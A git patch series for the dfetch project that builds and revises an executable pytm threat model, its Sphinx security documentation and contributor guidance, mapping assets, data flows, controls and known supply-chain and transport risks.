+patch_store.storesSensitiveData = False +patch_store.hasWriteAccess = True +patch_store.classification = Classification.RESTRICTED + +local_vcs_cache = Datastore("SA-05: Local VCS Cache (temp)") +local_vcs_cache.inBoundary = boundary_dev_env +local_vcs_cache.description = ( + "Temporary directory used during git-clone / svn-checkout / archive extraction. " + "Deleted after content is copied to dst. " + "Path-traversal attacks targeting this space are mitigated by " + "check_no_path_traversal() and post-extraction symlink walks." +) +local_vcs_cache.storesSensitiveData = False +local_vcs_cache.hasWriteAccess = True +local_vcs_cache.classification = Classification.RESTRICTED + +gh_workflows = Datastore("SA-06: GitHub Actions Workflows") +gh_workflows.inBoundary = boundary_github +gh_workflows.description = ( + ".github/workflows/*.yml — CI/CD configuration checked into the repository. " + "11 workflows: ci, build, run, test, docs, release, python-publish, " + "dependency-review, codeql-analysis, scorecard, devcontainer. " + "A malicious PR that modifies workflows can exfiltrate secrets or publish " + "a backdoored release. " + "Mitigated by: SHA-pinned actions, persist-credentials:false, minimal permissions. " + "RISK: 'secrets: inherit' in ci.yml propagates ALL secrets to test and docs workflows." +) +gh_workflows.storesSensitiveData = False +gh_workflows.hasWriteAccess = False +gh_workflows.classification = Classification.RESTRICTED +gh_workflows.controls.isHardened = True + +oidc_identity = Data( + "SA-07: PyPI OIDC Identity", + description=( + "GitHub OIDC token exchanged for a short-lived PyPI publish credential. " + "No long-lived API token stored — this is a significant security improvement. " + "The token is scoped to the GitHub Actions environment named 'pypi'. " + "Risk: if the GitHub OIDC issuer or the PyPI trusted-publisher mapping is " + "misconfigured, an attacker could mint a valid publish token." + ), + classification=Classification.SECRET, + isCredentials=True, + isPII=False, + isStored=False, + isDestEncryptedAtRest=False, + isSourceEncryptedAtRest=True, +) + +audit_reports = Datastore("SA-08: Audit / Check Reports") +audit_reports.inBoundary = boundary_dev_env +audit_reports.description = ( + "SARIF, Jenkins warnings-ng, Code Climate JSON produced by 'dfetch check'. " + "Falsification hides vulnerabilities from downstream security dashboards. " + "Also includes CodeQL and OpenSSF Scorecard results uploaded to GitHub." +) +audit_reports.storesSensitiveData = False +audit_reports.hasWriteAccess = True +audit_reports.classification = Classification.RESTRICTED + +dfetch_dev_deps = Datastore("SA-09: dfetch Build / Dev Dependencies") +dfetch_dev_deps.inBoundary = boundary_github +dfetch_dev_deps.description = ( + "Python packages installed during CI: setuptools, build, pylint, bandit, " + "mypy, pytest, etc. Ruby gem 'fpm' for platform builds. " + "CRITICAL GAP: installed via 'pip install .' and 'pip install --upgrade pip build' " + "without --require-hashes. A compromised PyPI mirror or BGP hijack can substitute " + "malicious build tools — this is a first-order supply-chain risk for dfetch's own " + "release pipeline. " + "Similarly, 'gem install fpm' and 'choco install svn/zig' are not hash-verified." +) +dfetch_dev_deps.storesSensitiveData = False +dfetch_dev_deps.hasWriteAccess = False +dfetch_dev_deps.classification = Classification.RESTRICTED + +scorecard_results = Datastore("SA-10: OpenSSF Scorecard Results") +scorecard_results.inBoundary = boundary_github +scorecard_results.description = ( + "Weekly OSSF Scorecard SARIF results uploaded to GitHub Code Scanning. " + "Covers: branch-protection, CI-tests, code-review, maintained, " + "packaging, pinned-dependencies, SAST, signed-releases, token-permissions, " + "vulnerabilities, dangerous-workflow, binary-artifacts, fuzzing, license, " + "CII-best-practices, security-policy, webhooks. " + "Suppression or forgery hides supply-chain regressions." +) +scorecard_results.storesSensitiveData = False +scorecard_results.hasWriteAccess = False +scorecard_results.classification = Classification.RESTRICTED + +# ── ENVIRONMENTAL ASSETS ───────────────────────────────────────────────────── +# +# EA-01 … EA-08: infrastructure the system depends on. + +# EA-01: Remote VCS Servers — modelled as remote_git_svn (ExternalEntity above) +# EA-02: Archive HTTP Servers — modelled as archive_server (ExternalEntity above) +# EA-03: GitHub Repository — modelled as gh_repository (ExternalEntity above) +# EA-04: GitHub Actions Infrastructure — modelled as gh_actions_runner (ExternalEntity above) +# EA-05: PyPI / TestPyPI — modelled as pypi (ExternalEntity above) + +# ── DATA FLOWS ─────────────────────────────────────────────────────────────── +# +# DF-01 … DF-15: annotated with controls reflecting existing implementation. + +df01 = Dataflow(developer, dfetch_cli, "DF-01: Invoke dfetch command") +df01.description = "CLI invocation: update / check / diff / report / add etc." + +df02 = Dataflow(manifest_store, dfetch_cli, "DF-02: Read manifest") +df02.description = "StrictYAML parse; SAFE_STR regex rejects control characters." +df02.controls.validatesInput = True + +df03 = Dataflow(dfetch_cli, remote_git_svn, "DF-03: Fetch VCS content (outbound)") +df03.description = ( + "git fetch / git ls-remote / svn ls / svn info outbound. " + "HTTPS uses redirect following (max 10). SSH uses BatchMode=yes. " + "RISK: svn:// and http:// (non-TLS) protocols are accepted by dfetch; " + "no protocol enforcement in manifest schema." +) +df03.protocol = "HTTPS / SSH / svn" +df03.controls.isEncrypted = True # for HTTPS/SSH paths; NOT for svn:// or http:// +df03.controls.isHardened = True # BatchMode=yes, --non-interactive + +df04 = Dataflow(remote_git_svn, dfetch_cli, "DF-04: VCS content (inbound, untrusted)") +df04.description = ( + "Repository tree / file content arriving from upstream VCS. " + "No integrity verification for Git or SVN content beyond transport security. " + "Content is controlled by the upstream repository owner." +) +df04.protocol = "HTTPS / SSH / svn" +df04.controls.isEncrypted = True +df04.controls.providesIntegrity = False # no end-to-end hash for git/svn content + +df05 = Dataflow(dfetch_cli, archive_server, "DF-05: Archive download request") +df05.description = ( + "HTTP GET to archive URL. Follows up to 10 3xx redirects. " + "RISK: http:// (non-TLS) URLs accepted — request and response are unencrypted." +) +df05.protocol = "HTTP or HTTPS" +df05.controls.isEncrypted = False # not guaranteed; http:// accepted + +df06 = Dataflow(archive_server, dfetch_cli, "DF-06: Archive bytes (untrusted)") +df06.description = ( + "Raw archive bytes streamed into dfetch. " + "Hash computed in-flight when integrity.hash is specified. " + "CRITICAL: when integrity.hash is absent, no content verification occurs." +) +df06.protocol = "HTTP or HTTPS" +df06.controls.providesIntegrity = False # hash is optional; may be absent +df06.controls.isEncrypted = False # http:// allowed + +df07 = Dataflow(dfetch_cli, fetched_source, "DF-07: Write vendored files") +df07.description = ( + "Post-validation copy to dst path. Path-traversal checked via " + "check_no_path_traversal(). Symlinks validated post-extraction." +) +df07.controls.sanitizesInput = True +df07.controls.providesIntegrity = True + +df08 = Dataflow(dfetch_cli, metadata_store, "DF-08: Write dependency metadata") +df08.description = "Writes .dfetch_data.yaml tracking remote_url, revision, hash." + +df09 = Dataflow(dfetch_cli, sbom_output, "DF-09: Write SBOM") +df09.description = "CycloneDX BOM generation from metadata store contents." + +df10 = Dataflow(patch_store, dfetch_cli, "DF-10: Read and apply patch") +df10.description = ( + "patch-ng reads unified-diff file and applies to vendor directory. " + "RISK: patch files are not integrity-verified (no hash in manifest schema). " + "patch-ng path safety depends on its own internal implementation." +) +df10.controls.validatesInput = False # no integrity hash on patch files + +df11 = Dataflow(contributor, gh_repository, "DF-11: Submit pull request") +df11.description = ( + "External contributor opens a PR against the dfetch repository. " + "Workflow files in .github/workflows/ can be modified by PRs. " + "RISK: 'secrets: inherit' in ci.yml propagates secrets to test+docs workflows " + "triggered on PR — a malicious PR step could exfiltrate secrets." +) +df11.protocol = "HTTPS" +df11.controls.hasAccessControl = True + +df12 = Dataflow(gh_actions_runner, gh_repository, "DF-12: CI checkout and build") +df12.description = ( + "GitHub Actions checks out source, installs deps, runs tests, lints, builds. " + "persist-credentials:false on all checkout steps. " + "All third-party actions pinned by commit SHA." +) +df12.controls.isHardened = True +df12.controls.providesIntegrity = True + +df13 = Dataflow(gh_actions_runner, pypi, "DF-13: Publish to PyPI (OIDC)") +df13.description = ( + "On release event, wheel/sdist uploaded to PyPI via pypa/gh-action-pypi-publish. " + "OIDC trusted publishing: no stored API token. " + "MISSING: no SLSA provenance attestation, no Sigstore/cosign package signing." +) +df13.protocol = "HTTPS" +df13.controls.isEncrypted = True +df13.controls.usesCodeSigning = False # no Sigstore signing + +df14 = Dataflow(consumer, pypi, "DF-14: pip install dfetch") +df14.description = "Consumer installs dfetch from PyPI." +df14.protocol = "HTTPS" +df14.controls.isEncrypted = True + +df15 = Dataflow(pypi_package, consumer_build, "DF-15: Installed dfetch") +df15.description = ( + "Installed dfetch wheel executed in consumer environment. " + "Consumer cannot verify build provenance without SLSA attestation." +) + +if __name__ == "__main__": + tm.process() From d7c8dfcdf5e775a68527ad7294706a59eefae73d Mon Sep 17 00:00:00 2001 From: Ben Date: Sun, 19 Apr 2026 12:39:53 +0000 Subject: [PATCH 02/28] Review comments --- .devcontainer/Dockerfile | 2 +- AGENTS.md | 24 +++++++++++++++ doc/explanation/security.rst | 25 ++++++++++++---- security/threat_model.py | 58 ++++++++++++++++++++++-------------- 4 files changed, 79 insertions(+), 30 deletions(-) diff --git a/.devcontainer/Dockerfile b/.devcontainer/Dockerfile index cf5e536a1..a18e2e810 100644 --- a/.devcontainer/Dockerfile +++ b/.devcontainer/Dockerfile @@ -53,7 +53,7 @@ ENV PYTHONUSERBASE="/home/dev/.local" COPY --chown=dev:dev . . RUN pip install --no-cache-dir --root-user-action=ignore --upgrade pip==26.0.1 \ - && pip install --no-cache-dir --root-user-action=ignore -e .[development,docs,test,casts,build] \ + && pip install --no-cache-dir --root-user-action=ignore -e .[development,docs,test,casts,build,security] \ && pre-commit install --install-hooks # Set bash as the default shell diff --git a/AGENTS.md b/AGENTS.md index 1705fe88a..2698f8626 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -98,6 +98,30 @@ Implement the abstract interfaces in `dfetch/project/subproject.py` and `dfetch/ - **Cyclomatic complexity** must stay below 8 per function. If a function grows beyond this, refactor it — extract helpers, simplify conditionals, or split responsibilities. - **No lint suppressions without fixing the root cause.** Avoid `# noqa`, `# type: ignore`, `# pylint: disable`, `# pyright: ignore`, and similar inline suppressions. If a tool flags something, fix it properly rather than silencing it. The one accepted exception is module-level tool headers at the top of test files (e.g. `# mypy: ignore-errors` or `# flake8: noqa` on line 1–5 of a test module); these are permitted where the test file structure genuinely prevents a clean fix. +## Security model + +`security/threat_model.py` is an executable pytm model that must stay aligned with `doc/explanation/security.rst`. + +After any change that could affect the security posture — including but not limited to: + +- Adding, removing, or renaming a CLI command, VCS backend, or data flow +- Changing how manifests, credentials, archives, or patches are handled +- Modifying GitHub Actions workflows or the PyPI publish pipeline +- Adding or removing external dependencies or subprocess calls + +— review both files and update them as needed: + +1. **`security/threat_model.py`** — add, remove, or update the relevant `Process`, `ExternalEntity`, `Datastore`, `Data`, or `Dataflow` objects and their `controls.*` annotations. +2. **`doc/explanation/security.rst`** — keep the asset register (PA/SA/EA tables), data-flow table, controls table, and known-gaps section consistent with the model. + +You can verify the model is syntactically valid by running: + +```bash +python -m security.threat_model --report +``` + +(requires `pip install .[security]`; diagram commands additionally require PlantUML and Graphviz) + ## Documentation Every change must be reflected in the documentation. Depending on the nature of the change: diff --git a/doc/explanation/security.rst b/doc/explanation/security.rst index f0a8ff0c7..75df6de2a 100644 --- a/doc/explanation/security.rst +++ b/doc/explanation/security.rst @@ -14,7 +14,7 @@ The model is aligned with the `Cyber Resilience Act (CRA)`_ and the classification methodology. .. _`Cyber Resilience Act (CRA)`: https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32024R2847 -.. _`EN 18031`: https://www.etsi.org/deliver/etsi_en/18031_18031_18031_18031/ +.. _`EN 18031`: https://www.cenelec.eu/ The threat model is maintained as executable code in ``security/threat_model.py`` using the `pytm`_ framework. Regenerate analysis output with: @@ -25,6 +25,14 @@ using the `pytm`_ framework. Regenerate analysis output with: python -m security.threat_model --dfd # Graphviz DFD (stdout) python -m security.threat_model --report # STRIDE findings report +.. note:: + + The ``--seq`` and ``--dfd`` commands require **PlantUML** and **Graphviz** + to be installed on the system. These are not Python packages and are not + installed by ``pip install .[security]``. Install them separately (e.g. + ``apt install plantuml graphviz`` or via your platform package manager) + before running the diagram commands. + .. _pytm: https://github.com/izar/pytm .. note:: @@ -202,7 +210,7 @@ Supporting Assets * - SA-06 - GitHub Actions Workflows - Restricted - - ``/.github/workflows/*.yml`` — 11 CI/CD pipeline definitions checked into + - ``.github/workflows/*.yml`` — 11 CI/CD pipeline definitions checked into the repository. A malicious pull request modifying workflows can exfiltrate secrets or publish a backdoored release. Mitigated by SHA-pinned actions and ``persist-credentials: false``. Risk: ``secrets: @@ -294,9 +302,12 @@ Environmental Assets receives untrusted third-party source. * - EA-08 - Network Transport - - — + - Public - HTTPS, SSH, SVN, and plain HTTP carrying all remote fetch traffic. TLS - enforcement is the responsibility of the OS and VCS clients. + enforcement is the responsibility of the OS and VCS clients. Classified + Public because the transport channel itself is shared infrastructure with + no inherent confidentiality — confidentiality of the data it carries is + the responsibility of the higher-layer protocols (TLS/SSH). Data Flows @@ -407,7 +418,7 @@ The following controls are already in place and are reflected in the - PA-02, SA-05 - ``check_no_path_traversal()`` uses ``os.path.realpath`` to reject any path that escapes the destination root. - ``dfetch/util/util.py:265–285`` + ``check_no_path_traversal()`` in ``dfetch/util/util.py`` * - Decompression-bomb protection - SA-05, PA-02 - Archives are rejected if uncompressed size exceeds 500 MB or the member @@ -473,7 +484,9 @@ The following controls are already in place and are reflected in the * - OpenSSF Scorecard - EA-03, SA-10 - Weekly OSSF Scorecard analysis uploaded to GitHub Code Scanning covers - 17 supply-chain health checks. + the full set of OpenSSF Scorecard checks (see the + `OpenSSF Scorecard project `_ for + the authoritative list). ``.github/workflows/scorecard.yml`` * - CodeQL static analysis - SA-01, SA-06 diff --git a/security/threat_model.py b/security/threat_model.py index bc6577bdc..9d15bfeef 100644 --- a/security/threat_model.py +++ b/security/threat_model.py @@ -19,7 +19,6 @@ Datastore, ExternalEntity, Process, - Server, ) # ── Threat model metadata ──────────────────────────────────────────────────── @@ -78,14 +77,14 @@ # ── External entities ──────────────────────────────────────────────────────── -remote_git_svn = ExternalEntity("Remote VCS Server") +remote_git_svn = ExternalEntity("EA-01: Remote VCS Server") remote_git_svn.inBoundary = boundary_remote_vcs remote_git_svn.description = ( "Upstream Git or SVN host: GitHub, GitLab, Gitea, self-hosted Git/SVN. " "Not controlled by the dfetch project; content is untrusted until verified." ) -archive_server = ExternalEntity("Archive HTTP Server") +archive_server = ExternalEntity("EA-02: Archive HTTP Server") archive_server.inBoundary = boundary_remote_vcs archive_server.description = ( "HTTP/HTTPS server serving .tar.gz, .tgz, .tar.bz2, .tar.xz, or .zip files. " @@ -93,7 +92,7 @@ "hashes — the integrity.hash field is optional." ) -gh_actions_runner = ExternalEntity("GitHub Actions Runner") +gh_actions_runner = ExternalEntity("EA-04: GitHub Actions Runner") gh_actions_runner.inBoundary = boundary_github gh_actions_runner.description = ( "Microsoft-operated ephemeral runner executing CI/CD workflows. " @@ -101,7 +100,7 @@ "if any workflow step is compromised." ) -gh_repository = ExternalEntity("GitHub Repository") +gh_repository = ExternalEntity("EA-03: GitHub Repository") gh_repository.inBoundary = boundary_github gh_repository.description = ( "Source code, PRs, releases, and workflow definitions. " @@ -109,7 +108,7 @@ "can modify repository state and trigger releases." ) -pypi = ExternalEntity("PyPI / TestPyPI") +pypi = ExternalEntity("EA-05: PyPI / TestPyPI") pypi.inBoundary = boundary_pypi pypi.description = ( "Python Package Index. dfetch is published via OIDC trusted publishing " @@ -117,7 +116,7 @@ "would affect every consumer installing dfetch." ) -consumer_build = ExternalEntity("Consumer Build System") +consumer_build = ExternalEntity("EA-07: Consumer Build System") consumer_build.inBoundary = boundary_dev_env consumer_build.description = ( "Build system that compiles fetched source code (PA-02). " @@ -126,7 +125,7 @@ # ── Processes ──────────────────────────────────────────────────────────────── -dfetch_cli = Process("dfetch CLI") +dfetch_cli = Process("SA-01: dfetch CLI") dfetch_cli.inBoundary = boundary_dev_env dfetch_cli.description = ( "Python CLI entry point dispatching to: update, check, diff, add, remove, " @@ -134,12 +133,14 @@ "Invokes Git and SVN as subprocesses (shell=False, list args). " "Extracts archives with decompression-bomb limits and path-traversal checks." ) -dfetch_cli.controls.validatesInput = True # StrictYAML + SAFE_STR regex -dfetch_cli.controls.sanitizesInput = True # check_no_path_traversal realpath-based -dfetch_cli.controls.usesParameterizedInput = True # shell=False, list-based subprocesses -dfetch_cli.controls.checksInputBounds = True # 500MB / 10k-member archive limits -dfetch_cli.controls.isHardened = True # BatchMode=yes, --non-interactive, type checks -dfetch_cli.controls.providesIntegrity = True # hmac.compare_digest SHA-256/384/512 +dfetch_cli.controls.validatesInput = True # StrictYAML + SAFE_STR regex +dfetch_cli.controls.sanitizesInput = True # check_no_path_traversal realpath-based +dfetch_cli.controls.usesParameterizedInput = ( + True # shell=False, list-based subprocesses +) +dfetch_cli.controls.checksInputBounds = True # 500MB / 10k-member archive limits +dfetch_cli.controls.isHardened = True # BatchMode=yes, --non-interactive, type checks +dfetch_cli.controls.providesIntegrity = True # hmac.compare_digest SHA-256/384/512 gh_actions_workflow = Process("GitHub Actions Workflow") gh_actions_workflow.inBoundary = boundary_github @@ -149,8 +150,12 @@ "All actions pinned by commit SHA. " "harden-runner used in every workflow (egress: audit only)." ) -gh_actions_workflow.controls.isHardened = True # SHA-pinned actions, persist-credentials:false -gh_actions_workflow.controls.providesIntegrity = True # CodeQL + Scorecard + dependency-review +gh_actions_workflow.controls.isHardened = ( + True # SHA-pinned actions, persist-credentials:false +) +gh_actions_workflow.controls.providesIntegrity = ( + True # CodeQL + Scorecard + dependency-review +) gh_actions_workflow.controls.hasAccessControl = True # minimal permissions per workflow python_build = Process("Python Build (wheel / sdist)") @@ -182,7 +187,7 @@ manifest_store.isSQL = False manifest_store.classification = Classification.SENSITIVE manifest_store.controls.isEncryptedAtRest = False -manifest_store.controls.validatesInput = True # StrictYAML validation on read +manifest_store.controls.validatesInput = True # StrictYAML validation on read fetched_source = Datastore("PA-02: Fetched Source Code") fetched_source.inBoundary = boundary_dev_env @@ -209,7 +214,9 @@ "authenticity relies entirely on transport security (TLS/SSH)." ) integrity_hash_record.storesSensitiveData = False -integrity_hash_record.hasWriteAccess = False +integrity_hash_record.hasWriteAccess = ( + True # developers and processes write this field in dfetch.yaml +) integrity_hash_record.classification = Classification.SENSITIVE integrity_hash_record.controls.providesIntegrity = True @@ -222,7 +229,9 @@ "Compromise of the PyPI account or registry affects every consumer." ) pypi_package.storesSensitiveData = False -pypi_package.hasWriteAccess = False +pypi_package.hasWriteAccess = ( + True # publish pipeline writes new releases to this package +) pypi_package.classification = Classification.SENSITIVE pypi_package.controls.usesCodeSigning = False # no Sigstore/cosign signing @@ -382,6 +391,9 @@ # EA-03: GitHub Repository — modelled as gh_repository (ExternalEntity above) # EA-04: GitHub Actions Infrastructure — modelled as gh_actions_runner (ExternalEntity above) # EA-05: PyPI / TestPyPI — modelled as pypi (ExternalEntity above) +# EA-06: Developer Workstation / CI Runner — modelled as developer / gh_actions_runner (Actors/ExternalEntity above) +# EA-07: Consumer Build System — modelled as consumer_build (ExternalEntity above) +# EA-08: Network Transport — modelled as boundary_network (Boundary above); symbol: network_transport # ── DATA FLOWS ─────────────────────────────────────────────────────────────── # @@ -402,8 +414,8 @@ "no protocol enforcement in manifest schema." ) df03.protocol = "HTTPS / SSH / svn" -df03.controls.isEncrypted = True # for HTTPS/SSH paths; NOT for svn:// or http:// -df03.controls.isHardened = True # BatchMode=yes, --non-interactive +df03.controls.isEncrypted = True # for HTTPS/SSH paths; NOT for svn:// or http:// +df03.controls.isHardened = True # BatchMode=yes, --non-interactive df04 = Dataflow(remote_git_svn, dfetch_cli, "DF-04: VCS content (inbound, untrusted)") df04.description = ( @@ -431,7 +443,7 @@ ) df06.protocol = "HTTP or HTTPS" df06.controls.providesIntegrity = False # hash is optional; may be absent -df06.controls.isEncrypted = False # http:// allowed +df06.controls.isEncrypted = False # http:// allowed df07 = Dataflow(dfetch_cli, fetched_source, "DF-07: Write vendored files") df07.description = ( @@ -453,7 +465,7 @@ "RISK: patch files are not integrity-verified (no hash in manifest schema). " "patch-ng path safety depends on its own internal implementation." ) -df10.controls.validatesInput = False # no integrity hash on patch files +df10.controls.validatesInput = False # no integrity hash on patch files df11 = Dataflow(contributor, gh_repository, "DF-11: Submit pull request") df11.description = ( From 59b5ac177a50ed64c2b11d2b25ed870991e84b51 Mon Sep 17 00:00:00 2001 From: Claude Date: Sun, 19 Apr 2026 14:19:58 +0000 Subject: [PATCH 03/28] Fix five review findings in threat model and packaging MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit security/threat_model.py: - Split DF-03/DF-04 into DF-03a/b and DF-04a/b (HTTPS+SSH vs svn://+http://) so pytm STRIDE analysis reflects conditional encryption guarantees rather than unconditionally marking unencrypted transports as encrypted. - Set gh_workflows.hasWriteAccess = True (was False but description stated PRs can modify .github/workflows/ definitions — now consistent). - Remove threatsFile=None (pytm rejects None; omitting uses built-in library). doc/explanation/security.rst: - EA-01: Separate SSH-specific controls (BatchMode=yes, host-key verification) from non-TLS transports (http://, svn://), which remain unmitigated; add explicit MITM residual risk and HTTPS/svn+https:// recommendation. - Data Flows table: replace single DF-03/DF-04 rows with DF-03a/b and DF-04a/b to match the split in the pytm model. - Path-traversal control: clarify that check_no_path_traversal() uses os.path.realpath (not pathlib.Path.resolve); fix line reference to 277. pyproject.toml: - Add "security" and "security.*" to setuptools package discovery so that `pip install .[security]` bundles the threat model module and `python -m security.threat_model` works from an installed wheel. https://claude.ai/code/session_01Rc28JtpAPWhJtA3YvS5kcr --- doc/explanation/security.rst | 55 ++++++++++++++++++++---------- pyproject.toml | 2 +- security/threat_model.py | 65 ++++++++++++++++++++++++------------ 3 files changed, 82 insertions(+), 40 deletions(-) diff --git a/doc/explanation/security.rst b/doc/explanation/security.rst index 75df6de2a..bd95927e7 100644 --- a/doc/explanation/security.rst +++ b/doc/explanation/security.rst @@ -266,8 +266,14 @@ Environmental Assets - Remote VCS Servers - Public - Upstream Git and SVN hosts: GitHub, GitLab, Gitea, self-hosted. Not - controlled by the dfetch project. MITM on non-TLS paths is a concern - addressed by ``BatchMode=yes`` and SSH host-key verification. + controlled by the dfetch project. + **SSH transports**: ``BatchMode=yes`` and SSH host-key verification + prevent credential prompts and protect against host impersonation. + **Non-TLS transports** (plain ``http://`` or ``svn://``): these controls + do not apply — a network-positioned attacker can intercept or substitute + content without detection. Use HTTPS, ``svn+https://``, or an SSH + tunnel for all VCS remotes; dfetch does not enforce this in the manifest + schema. * - EA-02 - Archive HTTP Servers - Public @@ -332,18 +338,30 @@ with the security controls that are currently implemented. - Manifest → dfetch CLI - (local) - StrictYAML parse; ``SAFE_STR`` regex rejects control characters. - * - DF-03 - - dfetch CLI → Remote VCS Server - - HTTPS / SSH / svn - - Outbound: ``git fetch``, ``git ls-remote``, ``svn ls``, ``svn info``. - ``BatchMode=yes`` and ``--non-interactive`` prevent credential prompts. - Risk: ``svn://`` and ``http://`` protocols are accepted by dfetch — no - protocol enforcement in the manifest schema. - * - DF-04 - - Remote VCS Server → dfetch CLI - - HTTPS / SSH / svn - - Repository tree and file content. No end-to-end hash for Git or SVN - content — authenticity relies entirely on transport security. + * - DF-03a + - dfetch CLI → Remote VCS Server (HTTPS/SSH) + - HTTPS / SSH + - ``git fetch``, ``git ls-remote``, ``svn ls`` over encrypted transport. + ``BatchMode=yes`` and ``GIT_TERMINAL_PROMPT=0`` suppress prompts; SSH + host-key verification prevents impersonation. + * - DF-03b + - dfetch CLI → Remote VCS Server (svn:// / http://) + - http / svn + - Same commands over unencrypted transports accepted by dfetch. + **No TLS, no host verification** — a MITM can substitute repository + content or intercept credentials. Manifest schema does not enforce + HTTPS. Mitigate by using HTTPS or ``svn+https://`` instead. + * - DF-04a + - Remote VCS Server → dfetch CLI (HTTPS/SSH) + - HTTPS / SSH + - Repository content over encrypted transport. No end-to-end content + hash — authenticity relies on transport security and upstream integrity. + * - DF-04b + - Remote VCS Server → dfetch CLI (svn:// / http://) + - http / svn + - Repository content over unencrypted transport. An attacker can + substitute arbitrary content without detection — no encryption and no + content hash. * - DF-05 - dfetch CLI → Archive HTTP Server - HTTP or HTTPS @@ -416,9 +434,12 @@ The following controls are already in place and are reflected in the - Implementation * - Path-traversal prevention - PA-02, SA-05 - - ``check_no_path_traversal()`` uses ``os.path.realpath`` to reject any - path that escapes the destination root. - ``check_no_path_traversal()`` in ``dfetch/util/util.py`` + - ``check_no_path_traversal()`` resolves both the candidate path and the + destination root via ``os.path.realpath`` (symlink-aware, not + ``pathlib.Path.resolve``), then rejects any path whose resolved prefix + does not start with the resolved root. Applied to every file copy and + post-extraction symlink. + ``dfetch/util/util.py`` — ``check_no_path_traversal`` at line 277 * - Decompression-bomb protection - SA-05, PA-02 - Archives are rejected if uncompressed size exceeds 500 MB or the member diff --git a/pyproject.toml b/pyproject.toml index 038c7f57a..e80656ce9 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -114,7 +114,7 @@ security = ["pytm==1.3.1"] dfetch = "dfetch.__main__:main" [tool.setuptools.packages.find] -include = ["dfetch", "dfetch.*"] +include = ["dfetch", "dfetch.*", "security", "security.*"] [tool.setuptools.package-data] dfetch = ["resources/*.yaml"] diff --git a/security/threat_model.py b/security/threat_model.py index 9d15bfeef..de79d83e5 100644 --- a/security/threat_model.py +++ b/security/threat_model.py @@ -34,7 +34,6 @@ "Scope: full SDLC from source contribution through CI/CD, PyPI " "distribution, and runtime execution in developer/CI environments." ), - threatsFile=None, isOrdered=True, mergeResponses=True, ) @@ -321,7 +320,7 @@ "RISK: 'secrets: inherit' in ci.yml propagates ALL secrets to test and docs workflows." ) gh_workflows.storesSensitiveData = False -gh_workflows.hasWriteAccess = False +gh_workflows.hasWriteAccess = True # PRs can modify .github/workflows/ definitions gh_workflows.classification = Classification.RESTRICTED gh_workflows.controls.isHardened = True @@ -406,26 +405,48 @@ df02.description = "StrictYAML parse; SAFE_STR regex rejects control characters." df02.controls.validatesInput = True -df03 = Dataflow(dfetch_cli, remote_git_svn, "DF-03: Fetch VCS content (outbound)") -df03.description = ( - "git fetch / git ls-remote / svn ls / svn info outbound. " - "HTTPS uses redirect following (max 10). SSH uses BatchMode=yes. " - "RISK: svn:// and http:// (non-TLS) protocols are accepted by dfetch; " - "no protocol enforcement in manifest schema." -) -df03.protocol = "HTTPS / SSH / svn" -df03.controls.isEncrypted = True # for HTTPS/SSH paths; NOT for svn:// or http:// -df03.controls.isHardened = True # BatchMode=yes, --non-interactive - -df04 = Dataflow(remote_git_svn, dfetch_cli, "DF-04: VCS content (inbound, untrusted)") -df04.description = ( - "Repository tree / file content arriving from upstream VCS. " - "No integrity verification for Git or SVN content beyond transport security. " - "Content is controlled by the upstream repository owner." -) -df04.protocol = "HTTPS / SSH / svn" -df04.controls.isEncrypted = True -df04.controls.providesIntegrity = False # no end-to-end hash for git/svn content +df03_tls = Dataflow(dfetch_cli, remote_git_svn, "DF-03a: Fetch VCS content — HTTPS/SSH") +df03_tls.description = ( + "git fetch / git ls-remote over HTTPS or SSH. " + "HTTPS follows up to 10 redirects. SSH enforces BatchMode=yes and " + "GIT_TERMINAL_PROMPT=0 (no credential prompts). SVN over svn+https:// or " + "SSH tunnel. Transport is encrypted and host identity verified." +) +df03_tls.protocol = "HTTPS / SSH" +df03_tls.controls.isEncrypted = True +df03_tls.controls.isHardened = True # BatchMode=yes, --non-interactive + +df03_plain = Dataflow(dfetch_cli, remote_git_svn, "DF-03b: Fetch VCS content — svn:// / http://") +df03_plain.description = ( + "git fetch over http:// or SVN over svn:// (plain, non-TLS). " + "dfetch accepts these protocols without enforcement — no TLS check in manifest " + "schema. Traffic is unencrypted; MITM can substitute repository content or " + "capture credentials passed over these transports. " + "RECOMMENDATION: restrict manifest URLs to HTTPS / svn+https:// / SSH." +) +df03_plain.protocol = "http / svn" +df03_plain.controls.isEncrypted = False +df03_plain.controls.isHardened = False + +df04_tls = Dataflow(remote_git_svn, dfetch_cli, "DF-04a: VCS content inbound — HTTPS/SSH") +df04_tls.description = ( + "Repository tree and file content over HTTPS or SSH. Transport is encrypted. " + "No end-to-end content hash for Git or SVN — authenticity relies on transport " + "security and upstream repository integrity." +) +df04_tls.protocol = "HTTPS / SSH" +df04_tls.controls.isEncrypted = True +df04_tls.controls.providesIntegrity = False # no end-to-end hash for git/svn content + +df04_plain = Dataflow(remote_git_svn, dfetch_cli, "DF-04b: VCS content inbound — svn:// / http://") +df04_plain.description = ( + "Repository content over unencrypted http:// or svn://. " + "A network-positioned attacker can substitute arbitrary content without detection " + "— there is no transport encryption and no content hash." +) +df04_plain.protocol = "http / svn" +df04_plain.controls.isEncrypted = False +df04_plain.controls.providesIntegrity = False df05 = Dataflow(dfetch_cli, archive_server, "DF-05: Archive download request") df05.description = ( From b1c0e6de7290ac62d4941c1683d9761b168fe2cb Mon Sep 17 00:00:00 2001 From: Claude Date: Sun, 19 Apr 2026 18:36:58 +0000 Subject: [PATCH 04/28] Fix four review findings: EA ordering, SA-01 label, line-number ref, security package pyproject.toml: - Remove "security" and "security.*" from setuptools include list; the threat model is a source-checkout-only compliance tool and must not be bundled as a top-level namespace package in the distributed wheel. security/threat_model.py: - Declare gh_repository (EA-03) before gh_actions_runner (EA-04) to match numeric order in the RST asset register. - Rename gh_actions_runner label from "EA-04: GitHub Actions Runner" to "EA-04: GitHub Actions Infrastructure" to match doc/explanation/security.rst. - Rename dfetch_cli label from "SA-01: dfetch CLI" to "SA-01: dfetch Process" to match the Supporting Assets table in security.rst. doc/explanation/security.rst: - Remove hard-coded line number from path-traversal control entry; reference the function symbol check_no_path_traversal() and file only so the doc stays correct after refactors. https://claude.ai/code/session_01Rc28JtpAPWhJtA3YvS5kcr --- doc/explanation/security.rst | 17 +++++++++++---- pyproject.toml | 2 +- security/threat_model.py | 40 +++++++++++++++++++++--------------- 3 files changed, 38 insertions(+), 21 deletions(-) 